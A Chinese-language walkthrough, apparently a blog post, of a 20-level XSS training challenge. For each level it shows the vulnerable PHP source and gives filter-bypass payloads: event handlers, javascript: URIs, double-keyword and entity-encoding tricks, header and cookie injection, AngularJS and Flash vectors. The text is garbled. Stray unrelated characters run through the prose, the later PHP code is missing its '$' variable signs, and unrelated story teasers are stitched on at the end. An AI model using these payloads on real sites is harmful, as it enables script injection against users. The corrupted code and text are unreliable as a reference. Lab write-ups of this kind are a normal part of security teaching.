某XSS挑戰(zhàn)賽解題思路

XSS挑戰(zhàn)賽解題思路

level1

image.png

查看源代碼

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不錯(cuò)井濒!");
 window.location.href="level2.php?keyword=test"; 
}
</script>
<title>歡迎來(lái)到level1</title>
</head>
<body>
<h1 align=center>歡迎來(lái)到level1</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>歡迎用戶".$str."</h2>";
?>
<center><img src=level1.png></center>
<?php 
echo "<h3 align=center>payload的長(zhǎng)度:".strlen($str)."</h3>";
?>
</body>
</html>

可以看到name處沒(méi)有任何過(guò)濾淑翼,直接插入payload即可

<script>alert(1)</script>
image.png

level2

image.png

代碼

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不錯(cuò)寞忿!");
 window.location.href="level3.php?writing=wait"; 
}
</script>
<title>歡迎來(lái)到level2</title>
</head>
<body>
<h1 align=center>歡迎來(lái)到level2</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>沒(méi)有找到和".htmlspecialchars($str)."相關(guān)的結(jié)果.</h2>".'<center>
<form action=level2.php method=GET>
<input name=keyword  value="'.$str.'">
<input type=submit name=submit value="搜索"/>
</form>
</center>';
?>
<center><img src=level2.png></center>
<?php 
echo "<h3 align=center>payload的長(zhǎng)度:".strlen($str)."</h3>";
?>
</body>
</html>

可以看到keyword參數(shù)使用了htmlspecialchars()函數(shù)進(jìn)行過(guò)濾

實(shí)例

<?php
$str = "This is some <b>bold</b> text.";
echo htmlspecialchars($str);
?>

以上代碼的HTML輸出如下


image.png

image.png

也就是說(shuō)<>不能用妓羊,那就換吧
點(diǎn)擊觸發(fā)


image.png

鼠標(biāo)滑動(dòng)觸發(fā)
image.png

image.png

再者就是
就是在構(gòu)造payload時(shí)
將input的文本框本分提前閉合

 "><script>alert(1)</script>
image.png

level3

image.png

image.png

雙引號(hào)被過(guò)濾驾讲,查看源碼發(fā)現(xiàn)存在單引號(hào),可以嘗試單引號(hào)閉合>被轉(zhuǎn)譯沿癞,所以試用//閉合


image

payload
'onclick=alert(1)//

我們來(lái)看下源碼

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不錯(cuò)援雇!");
 window.location.href="level4.php?keyword=try harder!"; 
}
</script>
<title>歡迎來(lái)到level3</title>
</head>
<body>
<h1 align=center>歡迎來(lái)到level3</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
echo "<h2 align=center>沒(méi)有找到和".htmlspecialchars($str)."相關(guān)的結(jié)果.</h2>"."<center>
<form action=level3.php method=GET>
<input name=keyword  value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
</form>
</center>";
?>
<center><img src=level3.png></center>
<?php 
echo "<h3 align=center>payload的長(zhǎng)度:".strlen($str)."</h3>";
?>
</body>
</html>

比第二關(guān)多了value='".htmlspecialchars($str)."'閉合<"">構(gòu)造script彈窗方法失效了,應(yīng)為value中的<被轉(zhuǎn)義了椎扬,只能利用上題中的js來(lái)構(gòu)造彈窗惫搏,不過(guò)這里需要用單引號(hào)閉合具温,構(gòu)造payload。

level4

可直接使用第二關(guān)的payload


image.png

我們來(lái)看看源代碼

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不錯(cuò)筐赔!");
 window.location.href="level5.php?keyword=find a way out!"; 
}
</script>
<title>歡迎來(lái)到level4</title>
</head>
<body>
<h1 align=center>歡迎來(lái)到level4</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace(">","",$str);
$str3=str_replace("<","",$str2);
echo "<h2 align=center>沒(méi)有找到和".htmlspecialchars($str)."相關(guān)的結(jié)果.</h2>".'<center>
<form action=level4.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level4.png></center>
<?php 
echo "<h3 align=center>payload的長(zhǎng)度:".strlen($str3)."</h3>";
?>
</body>
</html>

可以看到接參數(shù)的時(shí)候多了一步將<>,替換為空铣猩,依然可以使用第二關(guān)的js事件觸發(fā)xss。
str_replace()函數(shù)實(shí)例


image.png

所以可以使用的payload

" onfocus=alert(1) autofocus="
" onclick=alert(1) //

level5

image.png

查看網(wǎng)頁(yè)源代碼時(shí)發(fā)現(xiàn)on事件被破壞茴丰,但是并未過(guò)濾<>达皿,所以嘗試使用<>構(gòu)造payload


image.png

image.png

image.png

我們來(lái)看下源碼

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不錯(cuò)!");
 window.location.href="level6.php?keyword=break it out!"; 
}
</script>
<title>歡迎來(lái)到level5</title>
</head>
<body>
<h1 align=center>歡迎來(lái)到level5</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
echo "<h2 align=center>沒(méi)有找到和".htmlspecialchars($str)."相關(guān)的結(jié)果.</h2>".'<center>
<form action=level5.php method=GET>
<input name=keyword  value="'.$str3.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level5.png></center>
<?php 
echo "<h3 align=center>payload的長(zhǎng)度:".strlen($str3)."</h3>";
?>
</body>
</html>

strtolower()函數(shù)


image.png

這次大小寫繞過(guò)也失效了贿肩,但是并沒(méi)有過(guò)濾<>鳞绕。所以這里使用偽協(xié)議來(lái)構(gòu)造payload。

"><iframe src=javascript:alert(1)>
"><a href=javascript:alert(1)> 
"> <a href="javascript:alert(1)">zhouzhong</a>
"> <a href="javascript:%61lert(1)">zhouzhong</a> //

后面三個(gè)需要點(diǎn)擊

level6

image.png

看樣子也是過(guò)濾了on事件和script尸曼,使用偽協(xié)議構(gòu)造payload


image.png

發(fā)現(xiàn)href也被過(guò)濾src也被過(guò)濾了


image.png

image.png

嘗試下大小寫繞過(guò)方式们何,成功彈窗。
image.png

接下來(lái)我們看一看源碼

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不錯(cuò)控轿!");
 window.location.href="level7.php?keyword=move up!"; 
}
</script>
<title>歡迎來(lái)到level6</title>
</head>
<body>
<h1 align=center>歡迎來(lái)到level6</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str2=str_replace("<script","<scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
echo "<h2 align=center>沒(méi)有找到和".htmlspecialchars($str)."相關(guān)的結(jié)果.</h2>".'<center>
<form action=level6.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level6.png></center>
<?php 
echo "<h3 align=center>payload的長(zhǎng)度:".strlen($str6)."</h3>";
?>
</body>
</html>

可以看到代碼中使用了str_replace(),函數(shù)替換了<script>,on事件 src data href 但是接收參數(shù)的時(shí)候并沒(méi)有使用strtolower() 參數(shù)規(guī)避大小寫的問(wèn)題冤竹,導(dǎo)致可以使用大小寫繞過(guò)成功實(shí)現(xiàn)彈窗。
可以使用的paylaod有

"> <Script>alert(1)</script> //
"> <img Src=x OnError=alert(1)> //
"><a HrEf="javascript:alert(1)">zhouzhong</a>//
" OncliCk=alert(1) //

level7

image.png

發(fā)現(xiàn)過(guò)濾了script和on事件茬射,過(guò)濾方式為替換稱空值鹦蠕,大小寫也做了匹配


image.png

image.png

既然它將我們的關(guān)鍵字替換為空,那我們嘗試下雙寫方式繞過(guò)在抛,果然可以


image.png

我們來(lái)看下源碼
<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不錯(cuò)钟病!");
 window.location.href="level8.php?keyword=nice try!"; 
}
</script>
<title>歡迎來(lái)到level7</title>
</head>
<body>
<h1 align=center>歡迎來(lái)到level7</h1>
<?php 
ini_set("display_errors", 0);
$str =strtolower( $_GET["keyword"]);
$str2=str_replace("script","",$str);
$str3=str_replace("on","",$str2);
$str4=str_replace("src","",$str3);
$str5=str_replace("data","",$str4);
$str6=str_replace("href","",$str5);
echo "<h2 align=center>沒(méi)有找到和".htmlspecialchars($str)."相關(guān)的結(jié)果.</h2>".'<center>
<form action=level7.php method=GET>
<input name=keyword  value="'.$str6.'">
<input type=submit name=submit value=搜索 />
</form>
</center>';
?>
<center><img src=level7.png></center>
<?php 
echo "<h3 align=center>payload的長(zhǎng)度:".strlen($str6)."</h3>";
?>
</body>
</html>

禁用大小寫
script,on刚梭,src 肠阱,data ,href 都直接轉(zhuǎn)換成空朴读,直接使用雙寫

"><sscriptcript>alert(1)</sscriptcript>
">hello<sscriptcript>alert(1)</sscriptcript>
" oonnmouseover=alert(1)
"><a hrhrefef=javascriscriptpt:alert(1)>zhouzhong</a>

level8

image.png

初步嘗試下屹徘,一般的都已經(jīng)被過(guò)濾了,大小寫也嘗試了沒(méi)繞過(guò)去衅金,重點(diǎn)應(yīng)該在href里面


image.png

發(fā)現(xiàn)JavaScript被過(guò)濾成javasc_rpt噪伊,所以這里我們嘗試使用實(shí)體編碼繞過(guò)匹配


image.png

將r修改成r所以payload為
javasc&#x72;ipt:alert`1`

image.png

在線實(shí)體編碼轉(zhuǎn)換
可以使用的payload還有

javascrip&#x74;:alert(1)
javasc&#x72;ipt:alert`1`
javasc&#x0072;ipt:alert`1`

接下來(lái)我們看看源碼

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不錯(cuò)!");
 window.location.href="level9.php?keyword=not bad!"; 
}
</script>
<title>歡迎來(lái)到level8</title>
</head>
<body>
<h1 align=center>歡迎來(lái)到level8</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level8.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情鏈接 />
</form>
</center>';
?>
<?php
 echo '<center><BR><a href="'.$str7.'">友情鏈接</a></center>';
?>
<center><img src=level8.jpg></center>
<?php 
echo "<h3 align=center>payload的長(zhǎng)度:".strlen($str7)."</h3>";
?>
</body>
</html>

script 轉(zhuǎn)換成 scr_ipt
on 轉(zhuǎn)換成 o_n
src 轉(zhuǎn)換成 sr_c
data 轉(zhuǎn)換成 da_ta
href 轉(zhuǎn)換成 hr_ef
大小寫失效
" 還被編碼氮唯,但是尖括號(hào)<> 鉴吹,單引號(hào) ’ ,% ,# 惩琉,& 符號(hào)沒(méi)有被過(guò)濾豆励,輸出點(diǎn)在a標(biāo)簽內(nèi),href屬性中琳水,
屬性中雙引號(hào)被轉(zhuǎn)換成HTML實(shí)體肆糕,無(wú)法截?cái)鄬傩园愣眩覀兛梢允褂脜f(xié)議繞過(guò)javascript:alert在孝,由于script關(guān)鍵字被過(guò)濾.javascript會(huì)被替換成javasc_rpt诚啃,我們使用&#x72來(lái)代替r ,可以直接用上面的payload嘗試

level9

我們還是先看看源碼吧

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不錯(cuò)!");
 window.location.href="level10.php?keyword=well done!"; 
}
</script>
<title>歡迎來(lái)到level9</title>
</head>
<body>
<h1 align=center>歡迎來(lái)到level9</h1>
<?php 
ini_set("display_errors", 0);
$str = strtolower($_GET["keyword"]);
$str2=str_replace("script","scr_ipt",$str);
$str3=str_replace("on","o_n",$str2);
$str4=str_replace("src","sr_c",$str3);
$str5=str_replace("data","da_ta",$str4);
$str6=str_replace("href","hr_ef",$str5);
$str7=str_replace('"','&quot',$str6);
echo '<center>
<form action=level9.php method=GET>
<input name=keyword  value="'.htmlspecialchars($str).'">
<input type=submit name=submit value=添加友情鏈接 />
</form>
</center>';
?>
<?php
if(false===strpos($str7,'http://'))
{
  echo '<center><BR><a href="您的鏈接不合法私沮?有沒(méi)有始赎!">友情鏈接</a></center>';
        }
else
{
  echo '<center><BR><a href="'.$str7.'">友情鏈接</a></center>';
}
?>
<center><img src=level9.png></center>
<?php 
echo "<h3 align=center>payload的長(zhǎng)度:".strlen($str7)."</h3>";
?>
</body>
</html>

看了源碼之后才知道和上一關(guān)大同小異,只是存在檢測(cè)http://仔燕。不存在的花會(huì)報(bào)鏈接不合法造垛,所以在構(gòu)造payload可以嘗試添加上,成功彈窗
構(gòu)造payload

javascrip&#x74;:alert(1)//http://xxx.com                        //利用注釋
javascrip&#x74;:%0dhttp://xxx.com%0dalert(1)                 //不利用注釋
image.png

level10

image.png

我們還是先來(lái)看看源碼吧

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不錯(cuò)!");
 window.location.href="level11.php?keyword=good job!"; 
}
</script>
<title>歡迎來(lái)到level10</title>
</head>
<body>
<h1 align=center>歡迎來(lái)到level10</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str11 = $_GET["t_sort"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒(méi)有找到和".htmlspecialchars($str)."相關(guān)的結(jié)果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level10.png></center>
<?php 
echo "<h3 align=center>payload的長(zhǎng)度:".strlen($str)."</h3>";
?>
</body>
</html>

仔細(xì)觀察我們可以看到可以利用的參數(shù)是str33晰搀,也就是t_sort這個(gè)參數(shù)五辽。是隱藏屬性
這個(gè)參數(shù)過(guò)濾了<>。所以我們可以構(gòu)造payload

keyword = test&t_sort="type="text" onclick = "alert(1)
keyword = test&t_sort="type="text" onmouseover="alert(1)

成功實(shí)現(xiàn)彈窗


image.png

level11

image.png

我們還是先來(lái)看代碼吧

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不錯(cuò)止潘!");
 window.location.href="level12.php?keyword=good job!"; 
}
</script>
<title>歡迎來(lái)到level11</title>
</head>
<body>
<h1 align=center>歡迎來(lái)到level11</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_REFERER'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒(méi)有找到和".htmlspecialchars($str)."相關(guān)的結(jié)果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ref"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level11.png></center>
<?php 
echo "<h3 align=center>payload的長(zhǎng)度:".strlen($str)."</h3>";
?>
</body>
</html>

可以看到這次輸出點(diǎn)在http_refferer處疚颊,可以直接調(diào)用上一關(guān)的payload

Referer: " onmouseover=alert(1) type="text"
Referer: " onclick="alert(1) type="text"
image.png

可以看到成功彈窗


image.png

level12

image.png

我們還是來(lái)看代碼吧

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不錯(cuò)磅摹!");
 window.location.href="level13.php?keyword=good job!"; 
}
</script>
<title>歡迎來(lái)到level12</title>
</head>
<body>
<h1 align=center>歡迎來(lái)到level12</h1>
<?php 
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_SERVER['HTTP_USER_AGENT'];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒(méi)有找到和".htmlspecialchars($str)."相關(guān)的結(jié)果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_ua"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level12.png></center>
<?php 
echo "<h3 align=center>payload的長(zhǎng)度:".strlen($str)."</h3>";
?>
</body>
</html>

可以看到這里把輸出點(diǎn)放在了http_user_agent上,原理與level11基本相同罪郊,所以還是通過(guò)bp改包,達(dá)到彈窗的效果尚洽,payload可以直接用上一關(guān)的

Referer: " onmouseover=alert(1) type="text"
Referer: " onclick="alert(1) type="text"
image.png

image.png

level13

image.png

我們來(lái)看源碼

<!DOCTYPE html><!--STATUS OK--><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()  
{     
confirm("完成的不錯(cuò)悔橄!");
 window.location.href="level14.php"; 
}
</script>
<title>歡迎來(lái)到level13</title>
</head>
<body>
<h1 align=center>歡迎來(lái)到level13</h1>
<?php 
setcookie("user", "call me maybe?", time()+3600);
ini_set("display_errors", 0);
$str = $_GET["keyword"];
$str00 = $_GET["t_sort"];
$str11=$_COOKIE["user"];
$str22=str_replace(">","",$str11);
$str33=str_replace("<","",$str22);
echo "<h2 align=center>沒(méi)有找到和".htmlspecialchars($str)."相關(guān)的結(jié)果.</h2>".'<center>
<form id=search>
<input name="t_link"  value="'.'" type="hidden">
<input name="t_history"  value="'.'" type="hidden">
<input name="t_sort"  value="'.htmlspecialchars($str00).'" type="hidden">
<input name="t_cook"  value="'.$str33.'" type="hidden">
</form>
</center>';
?>
<center><img src=level13.png></center>
<?php 
echo "<h3 align=center>payload的長(zhǎng)度:".strlen($str)."</h3>";
?>
</body>
</html>

從代碼中可以看出這次的輸出點(diǎn)在cookies的user中,原來(lái)和前兩關(guān)一致腺毫,所以可以直接用上面的payload
``
Referer: " onmouseover=alert(1) type="text"
Referer: " onclick="alert(1) type="text"

bp中改包
![image.png](https://upload-images.jianshu.io/upload_images/4267332-abeb39517186a0c0.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
成功彈窗
![image.png](https://upload-images.jianshu.io/upload_images/4267332-ac827b851b7ef9b7.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)

#level14
![image.png](https://upload-images.jianshu.io/upload_images/4267332-5b2f085c907cf22a.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
一眼看上去很高大上的樣子癣疟,我們還是來(lái)看看源碼吧

<html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<title>歡迎來(lái)到level14</title>
</head>
<body>
<h1 align=center>歡迎來(lái)到level14</h1>
<center><iframe name="leftframe" marginwidth=10 marginheight=10 src="http://www.exifviewer.org/" frameborder=no width="80%" scrolling="no" height=80%></iframe></center><center>這關(guān)成功后不會(huì)自動(dòng)跳轉(zhuǎn)。成功者<a href=/xsschallenge/level15.php?src=1.gif>點(diǎn)我進(jìn)level15</a></center>
</body>
</html>

實(shí)在沒(méi)什么頭緒潮酒,還好網(wǎng)上已經(jīng)有大佬解決了
[level14](https://xz.aliyun.com/t/1206#toc-12)
![](https://upload-images.jianshu.io/upload_images/4267332-68b65740fcca5d30.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
但是為啥我的不會(huì)出現(xiàn)上傳點(diǎn)争舞,??,希望有大佬可以指導(dǎo)下

#level15
![image.png](https://upload-images.jianshu.io/upload_images/4267332-8090f4480ebced02.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
我們還是來(lái)看看源碼吧

<html ng-app>
<head>
<meta charset="utf-8">
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.2.0/angular.min.js"></script>
<script>
window.alert = function()
{
confirm("完成的不錯(cuò)澈灼!");
window.location.href="level16.php?keyword=test";
}
</script>
<title>歡迎來(lái)到level15</title>
</head>
<h1 align=center>歡迎來(lái)到第15關(guān)竞川,自己想個(gè)辦法走出去吧!</h1>
<p align=center><img src=level15.png></p>
<?php
ini_set("display_errors", 0);
str =_GET["src"];
echo '<body><span class="ng-include:'.htmlspecialchars($str).'"></span></body>';
?>

從代碼上看似乎可以控制的點(diǎn)在src這個(gè)參數(shù)上叁熔。但是沒(méi)想明白這個(gè)怎么用委乌,看了下網(wǎng)上大佬的解法。
這題有angular js荣回,然后ng-include相當(dāng)于php的include函數(shù)遭贸,然后src參數(shù)被轉(zhuǎn)譯了,最終我們可以通過(guò)include
level1然后在用img標(biāo)簽傳xss
payload

http://localhost/XSS/level15.php?src=%27level1.php?name=%3Cimg%20src=1%20onerror=alert(1)%3E%27


#level16
![image.png](https://upload-images.jianshu.io/upload_images/4267332-aa169b3e5e52e063.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
源碼

<!DOCTYPE html><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不錯(cuò)心软!");
window.location.href="level17.php?arg01=a&arg02=b";
}
</script>
<title>歡迎來(lái)到level16</title>
</head>
<body>
<h1 align=center>歡迎來(lái)到level16</h1>
<?php
ini_set("display_errors", 0);
str = strtolower(_GET["keyword"]);
str2=str_replace("script","&nbsp;",str);
str3=str_replace(" ","&nbsp;",str2);
str4=str_replace("/","&nbsp;",str3);
str5=str_replace(" ","&nbsp;",str4);
echo "<center>".str5."</center>"; ?> <center><img src=level16.png></center> <?php echo "<h3 align=center>payload的長(zhǎng)度:".strlen(str5)."</h3>";
?>
</body>
</html>

這里我們可以觀察到script被過(guò)濾 / 空格 被過(guò)濾壕吹。我們可以用上一關(guān)的img標(biāo)簽,以及%0a繞過(guò)空格
payload

<img%0asrc=1%0aonerror=alert(1)>


#level17
![image.png](https://upload-images.jianshu.io/upload_images/4267332-76e39960d9816a1f.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
源碼

<!DOCTYPE html><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不錯(cuò)著蛙!");
}
</script>
<title>歡迎來(lái)到level17</title>
</head>
<body>
<h1 align=center>歡迎來(lái)到level17</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf01.swf?".htmlspecialchars(_GET["arg01"])."=".htmlspecialchars(_GET["arg02"])." width=100% heigth=100%>";
?>
<h2 align=center>成功后,<a href=level18.php?arg01=a&arg02=b>點(diǎn)我進(jìn)入下一關(guān)</a></h2>
</body>
</html>

這個(gè)直接在embed標(biāo)簽中插入onmouseover事件

http://localhost/XSS/level17.php?arg01=a&arg02=b%20onmouseover=alert(1)

![image.png](https://upload-images.jianshu.io/upload_images/4267332-fe2c139ef134fd2b.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)


#level18
![image.png](https://upload-images.jianshu.io/upload_images/4267332-8f01f67da6d837e9.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
看源碼

<!DOCTYPE html><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不錯(cuò)耳贬!");
window.location.href="level19.php?arg01=a&arg02=b";
}
</script>
<title>歡迎來(lái)到level18</title>
</head>
<body>
<h1 align=center>歡迎來(lái)到level18</h1>
<?php
ini_set("display_errors", 0);
echo "<embed src=xsf02.swf?".htmlspecialchars(_GET["arg01"])."=".htmlspecialchars(_GET["arg02"])." width=100% heigth=100%>";
?>
</body>
</html>

這不是和level17差不多么
直接用上一關(guān)的payload

http://localhost/XSS/level18.php?arg01=a&arg02=b%20onmouseover=alert(1)

![image.png](https://upload-images.jianshu.io/upload_images/4267332-af4d9474a54ade46.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)



#level19
![image.png](https://upload-images.jianshu.io/upload_images/4267332-20d561419c9f20a8.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)
看代碼

<!DOCTYPE html><html>
<head>
<meta http-equiv="content-type" content="text/html;charset=utf-8">
<script>
window.alert = function()
{
confirm("完成的不錯(cuò)踏堡!");
window.location.href="level20.php?arg01=a&arg02=b";
}
</script>
<title>歡迎來(lái)到level19</title>
</head>
<body>
<h1 align=center>歡迎來(lái)到level19</h1>
<?php
ini_set("display_errors", 0);
echo '<embed src="xsf03.swf?'.htmlspecialchars(_GET["arg01"])."=".htmlspecialchars(_GET["arg02"]).'" width=100% heigth=100%>';
?>
</body>
</html>

flash xss,需要對(duì)flash的反編譯對(duì)源碼進(jìn)行分析,這里使用[jpexs-decomplier](https://github.com/jindrapetrik/jpexs-decompiler)來(lái)分析咒劲。

sIFR.menuItems.push(new ContextMenuItem("Followlink",function()
{
getURL(sIFR.instance.primaryLink,sIFR.instance.primaryLinkTarget);
}),new ContextMenuItem("Open link in new window",function()
{
getURL(sIFR.instance.primaryLink,"_blank");
}));
再追蹤到sIFR的內(nèi)容,省略了一些代碼顷蟆,關(guān)鍵代碼如下:
if(loc5 && _root.version != sIFR.VERSION)
{
loc4 = sIFR.VERSION_WARNING.split("%s").join(_root.version);
}
得知version參數(shù)可以傳入loc4變量中,即sIFR的內(nèi)容中腐魂,但是getURL 只在內(nèi)容為link時(shí)帐偎,打開,故定位以下函數(shù):
function contentIsLink()
{
return this.content.indexOf("<a ") == 0 &&(this.content.indexOf("<a ") ==this.content.lastIndexOf("<a ") &&this.content.indexOf("</a>") == this.content.length - 4);
} //大體意思是要geturl得用a標(biāo)簽吧蛔屹。

首先分析geturl函數(shù)
追蹤到sIFR的內(nèi)容
得知version參數(shù)可以傳入loc4變量中削樊,即sIFR的內(nèi)容中,但是getURL只在內(nèi)容為link時(shí)打開兔毒,所以分析contentIsLink函數(shù)
所以我們可以構(gòu)造 標(biāo)簽來(lái)傳值

http://localhost/XSS/level19.php?arg01=version&arg02=%3Ca%20href=%22javascript:alert(%27xss%27)%22%3E111%3C/a%3E

![image.png](https://upload-images.jianshu.io/upload_images/4267332-dc44ca00f86029d1.png?imageMogr2/auto-orient/strip%7CimageView2/2/w/1240)





#level20
payload

%22))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height

[參考](https://www.freebuf.com/sectool/108568.html)






















最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
  • 序言:七十年代末漫贞,一起剝皮案震驚了整個(gè)濱河市,隨后出現(xiàn)的幾起案子眼刃,更是在濱河造成了極大的恐慌绕辖,老刑警劉巖,帶你破解...
    沈念sama閱讀 222,464評(píng)論 6 517
  • 序言:濱河連續(xù)發(fā)生了三起死亡事件擂红,死亡現(xiàn)場(chǎng)離奇詭異仪际,居然都是意外死亡,警方通過(guò)查閱死者的電腦和手機(jī)昵骤,發(fā)現(xiàn)死者居然都...
    沈念sama閱讀 95,033評(píng)論 3 399
  • 文/潘曉璐 我一進(jìn)店門树碱,熙熙樓的掌柜王于貴愁眉苦臉地迎上來(lái),“玉大人变秦,你說(shuō)我怎么就攤上這事成榜。” “怎么了蹦玫?”我有些...
    開封第一講書人閱讀 169,078評(píng)論 0 362
  • 文/不壞的土叔 我叫張陵赎婚,是天一觀的道長(zhǎng)。 經(jīng)常有香客問(wèn)我樱溉,道長(zhǎng)挣输,這世上最難降的妖魔是什么? 我笑而不...
    開封第一講書人閱讀 59,979評(píng)論 1 299
  • 正文 為了忘掉前任福贞,我火速辦了婚禮撩嚼,結(jié)果婚禮上,老公的妹妹穿的比我還像新娘。我一直安慰自己完丽,他們只是感情好恋技,可當(dāng)我...
    茶點(diǎn)故事閱讀 69,001評(píng)論 6 398
  • 文/花漫 我一把揭開白布。 她就那樣靜靜地躺著逻族,像睡著了一般蜻底。 火紅的嫁衣襯著肌膚如雪。 梳的紋絲不亂的頭發(fā)上瓷耙,一...
    開封第一講書人閱讀 52,584評(píng)論 1 312
  • 那天朱躺,我揣著相機(jī)與錄音刁赖,去河邊找鬼搁痛。 笑死,一個(gè)胖子當(dāng)著我的面吹牛宇弛,可吹牛的內(nèi)容都是我干的鸡典。 我是一名探鬼主播,決...
    沈念sama閱讀 41,085評(píng)論 3 422
  • 文/蒼蘭香墨 我猛地睜開眼枪芒,長(zhǎng)吁一口氣:“原來(lái)是場(chǎng)噩夢(mèng)啊……” “哼彻况!你這毒婦竟也來(lái)了?” 一聲冷哼從身側(cè)響起舅踪,我...
    開封第一講書人閱讀 40,023評(píng)論 0 277
  • 序言:老撾萬(wàn)榮一對(duì)情侶失蹤纽甘,失蹤者是張志新(化名)和其女友劉穎,沒(méi)想到半個(gè)月后抽碌,有當(dāng)?shù)厝嗽跇淞掷锇l(fā)現(xiàn)了一具尸體悍赢,經(jīng)...
    沈念sama閱讀 46,555評(píng)論 1 319
